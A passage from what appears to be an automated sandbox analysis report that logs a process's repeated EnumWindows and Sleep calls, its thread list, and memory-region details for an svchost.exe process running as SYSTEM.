lParam=0x410000) [0307.294] Sleep (dwMilliseconds=0x64) [0307.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.296] Sleep (dwMilliseconds=0x64) [0307.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.298] Sleep (dwMilliseconds=0x64) [0307.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.317] Sleep (dwMilliseconds=0x64) [0307.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.406] Sleep (dwMilliseconds=0x64) [0307.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.442] Sleep (dwMilliseconds=0x64) [0307.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.444] Sleep (dwMilliseconds=0x64) [0307.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.454] Sleep (dwMilliseconds=0x64) [0307.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.463] Sleep (dwMilliseconds=0x64) [0307.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.465] Sleep (dwMilliseconds=0x64) [0307.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.467] Sleep (dwMilliseconds=0x64) [0307.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.477] Sleep (dwMilliseconds=0x64) [0307.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.487] Sleep (dwMilliseconds=0x64) [0307.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.541] Sleep (dwMilliseconds=0x64) [0307.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.596] Sleep (dwMilliseconds=0x64) [0307.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.598] Sleep (dwMilliseconds=0x64) [0307.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.599] Sleep (dwMilliseconds=0x64) [0307.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.601] Sleep (dwMilliseconds=0x64) [0307.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.602] Sleep (dwMilliseconds=0x64) [0307.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.604] Sleep (dwMilliseconds=0x64) [0307.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.605] Sleep (dwMilliseconds=0x64) [0307.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.607] Sleep (dwMilliseconds=0x64) [0307.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.610] Sleep (dwMilliseconds=0x64) [0307.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.745] Sleep (dwMilliseconds=0x64) [0307.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.790] Sleep (dwMilliseconds=0x64) [0307.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.853] Sleep (dwMilliseconds=0x64) [0307.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.856] Sleep (dwMilliseconds=0x64) [0307.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.859] Sleep (dwMilliseconds=0x64) [0307.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.861] Sleep (dwMilliseconds=0x64) [0307.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.863] Sleep (dwMilliseconds=0x64) [0307.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.865] Sleep (dwMilliseconds=0x64) [0307.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.868] Sleep (dwMilliseconds=0x64) [0307.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.872] Sleep (dwMilliseconds=0x64) [0307.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.874] Sleep (dwMilliseconds=0x64) [0307.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.876] Sleep (dwMilliseconds=0x64) [0307.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.878] Sleep (dwMilliseconds=0x64) [0307.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.881] Sleep (dwMilliseconds=0x64) [0307.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.883] Sleep (dwMilliseconds=0x64) [0307.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0307.955] Sleep (dwMilliseconds=0x64) [0308.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.011] Sleep (dwMilliseconds=0x64) [0308.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.016] Sleep (dwMilliseconds=0x64) [0308.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.019] Sleep (dwMilliseconds=0x64) [0308.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.022] Sleep (dwMilliseconds=0x64) [0308.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.025] Sleep (dwMilliseconds=0x64) [0308.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.028] Sleep (dwMilliseconds=0x64) [0308.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.030] Sleep (dwMilliseconds=0x64) [0308.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.032] Sleep (dwMilliseconds=0x64) [0308.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.036] Sleep (dwMilliseconds=0x64) [0308.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.038] Sleep (dwMilliseconds=0x64) [0308.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.042] Sleep (dwMilliseconds=0x64) [0308.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.162] Sleep (dwMilliseconds=0x64) [0308.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.194] Sleep (dwMilliseconds=0x64) [0308.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.196] Sleep (dwMilliseconds=0x64) [0308.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.198] Sleep (dwMilliseconds=0x64) [0308.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.200] Sleep (dwMilliseconds=0x64) [0308.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.202] Sleep (dwMilliseconds=0x64) [0308.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.204] Sleep (dwMilliseconds=0x64) [0308.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.206] Sleep (dwMilliseconds=0x64) [0308.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.208] Sleep (dwMilliseconds=0x64) [0308.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.210] Sleep (dwMilliseconds=0x64) [0308.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.212] Sleep (dwMilliseconds=0x64) [0308.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.214] Sleep (dwMilliseconds=0x64) [0308.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.216] Sleep (dwMilliseconds=0x64) [0308.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.218] Sleep (dwMilliseconds=0x64) [0308.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.220] Sleep (dwMilliseconds=0x64) [0308.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.224] Sleep (dwMilliseconds=0x64) [0308.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.225] Sleep (dwMilliseconds=0x64) [0308.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.227] Sleep (dwMilliseconds=0x64) [0308.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.229] Sleep (dwMilliseconds=0x64) [0308.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.231] Sleep (dwMilliseconds=0x64) [0308.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.234] Sleep (dwMilliseconds=0x64) [0308.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.236] Sleep (dwMilliseconds=0x64) [0308.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.238] Sleep (dwMilliseconds=0x64) [0308.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.240] Sleep (dwMilliseconds=0x64) [0308.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.242] Sleep (dwMilliseconds=0x64) [0308.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.244] Sleep (dwMilliseconds=0x64) [0308.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.246] Sleep (dwMilliseconds=0x64) [0308.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.248] Sleep (dwMilliseconds=0x64) [0308.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.250] Sleep (dwMilliseconds=0x64) [0308.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.252] Sleep (dwMilliseconds=0x64) [0308.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.255] Sleep (dwMilliseconds=0x64) [0308.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.280] Sleep (dwMilliseconds=0x64) [0308.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.351] Sleep (dwMilliseconds=0x64) [0308.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.375] Sleep (dwMilliseconds=0x64) [0308.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.377] Sleep (dwMilliseconds=0x64) [0308.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.379] Sleep (dwMilliseconds=0x64) [0308.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.381] Sleep (dwMilliseconds=0x64) [0308.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.383] Sleep (dwMilliseconds=0x64) [0308.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.386] Sleep (dwMilliseconds=0x64) [0308.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.388] Sleep (dwMilliseconds=0x64) [0308.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.390] Sleep (dwMilliseconds=0x64) [0308.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.392] Sleep (dwMilliseconds=0x64) [0308.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.394] Sleep (dwMilliseconds=0x64) [0308.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.396] Sleep (dwMilliseconds=0x64) [0308.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.398] Sleep (dwMilliseconds=0x64) [0308.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.400] Sleep (dwMilliseconds=0x64) [0308.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.401] Sleep (dwMilliseconds=0x64) [0308.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.403] Sleep (dwMilliseconds=0x64) [0308.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.404] Sleep (dwMilliseconds=0x64) [0308.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.530] Sleep (dwMilliseconds=0x64) [0308.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.551] Sleep (dwMilliseconds=0x64) [0308.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.553] Sleep (dwMilliseconds=0x64) [0308.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.555] Sleep (dwMilliseconds=0x64) [0308.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.557] Sleep (dwMilliseconds=0x64) [0308.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.559] Sleep (dwMilliseconds=0x64) [0308.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.561] Sleep (dwMilliseconds=0x64) [0308.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.563] Sleep (dwMilliseconds=0x64) [0308.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.566] Sleep (dwMilliseconds=0x64) [0308.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.569] Sleep (dwMilliseconds=0x64) [0308.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.584] Sleep (dwMilliseconds=0x64) [0308.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0308.671] Sleep (dwMilliseconds=0x64) [0308.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) Thread: id = 55 os_tid = 0xe58 Thread: id = 138 os_tid = 0x1170 Thread: id = 139 os_tid = 0x780 Thread: id = 140 os_tid = 0x104c Thread: id = 141 os_tid = 0x798 Thread: id = 147 os_tid = 0x1344 Thread: id = 148 os_tid = 0x1358 Thread: id = 149 os_tid = 0x135c Thread: id = 150 os_tid = 0x1370 Thread: id = 160 os_tid = 0xd00 Thread: id = 161 os_tid = 0x71c Thread: id = 162 os_tid = 0x13c8 Thread: id = 163 os_tid = 0x6f8 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76459000" os_pid = "0x35c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_scheduled_job" parent_id = "3" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000a860" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 6429 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6430 start_va = 0x20000 end_va = 0x21fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 6431 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6432 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6433 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 6434 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 6435 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 6436 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6437 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 6438 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 6439 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 6440 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 6441 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6442 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 6443 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 6444 start_va = 0x430000 end_va = 0x430fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usocore.dll.mui" filename = "\\Windows\\System32\\en-US\\usocore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\usocore.dll.mui") Region: id = 6445 start_va = 0x440000 end_va = 0x441fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 6446 start_va = 0x450000 end_va = 0x451fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6447 start_va = 0x460000 end_va = 0x477fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 6448 start_va = 0x480000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 6449 start_va = 0x540000 end_va = 0x546fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 6450 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 6451 start_va = 0x560000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 6452 start_va = 0x5e0000 end_va = 0x5e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 6453 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 6454 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 6455 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 6456 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 6457 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 6458 start_va = 0x8b0000 end_va = 0x8b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 6459 start_va = 0x8d0000 end_va = 0x8d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6460 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6461 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 6462 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 6463 start_va = 0xa00000 end_va = 0xb80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 6464 start_va = 0xb90000 end_va = 0xf8afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b90000" filename = "" Region: id = 6465 start_va = 0xf90000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 6466 start_va = 0x1010000 end_va = 0x1054fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 6467 start_va = 0x1070000 end_va = 0x1076fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 6468 start_va = 0x1090000 end_va = 0x1096fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 6469 start_va = 0x1100000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 6470 start_va = 0x1200000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 6471 start_va = 0x12b0000 end_va = 0x12b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 6472 start_va = 0x12c0000 end_va = 0x12d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1256.nls" filename = "\\Windows\\System32\\C_1256.NLS" (normalized: "c:\\windows\\system32\\c_1256.nls") Region: id = 6473 start_va = 0x12e0000 end_va = 0x12f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 6474 start_va = 0x1300000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 6475 start_va = 0x1400000 end_va = 0x1736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6476 start_va = 0x1740000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 6477 start_va = 0x1840000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001840000" filename = "" Region: id = 6478 start_va = 0x19c0000 end_va = 0x19d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1254.nls" filename = "\\Windows\\System32\\C_1254.NLS" (normalized: "c:\\windows\\system32\\c_1254.nls") Region: id = 6479 start_va = 0x19e0000 end_va = 0x19f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1250.nls" filename = "\\Windows\\System32\\C_1250.NLS" (normalized: "c:\\windows\\system32\\c_1250.nls") Region: id = 6480 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 6481 start_va = 0x1b00000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 6482 start_va = 0x1c00000 end_va = 0x1cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 6483 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 6484 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 6485 start_va = 0x1f00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 6486 start_va = 0x2000000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002000000" filename = "" Region: id = 6487 start_va = 0x2100000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 6488 start_va = 0x2200000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 6489 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 6490 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 6491 start_va = 0x2400000 end_va = 0x24fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 6492 start_va = 0x2500000 end_va = 0x25dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 6493 start_va = 0x25e0000 end_va = 0x25f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_1253.nls" filename = "\\Windows\\System32\\C_1253.NLS" (normalized: "c:\\windows\\system32\\c_1253.nls") Region: id = 6494 start_va = 0x2600000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 6495 start_va = 0x2700000 end_va = 0x27fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 6496 start_va = 0x2800000 end_va = 0x28fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 6497 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 6498 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 6499 start_va = 0x2b00000 end_va = 0x2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 6500 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 6501 start_va = 0x2d00000 end_va = 0x2dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 6502 start_va = 0x2e00000 end_va = 0x2e8dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 6503 start_va = 0x2e90000 end_va = 0x2f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 6504 start_va = 0x3110000 end_va = 0x320ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 6505 start_va = 0x3210000 end_va = 0x328ffff monitored = 1 entry_point = 0x0 region_type 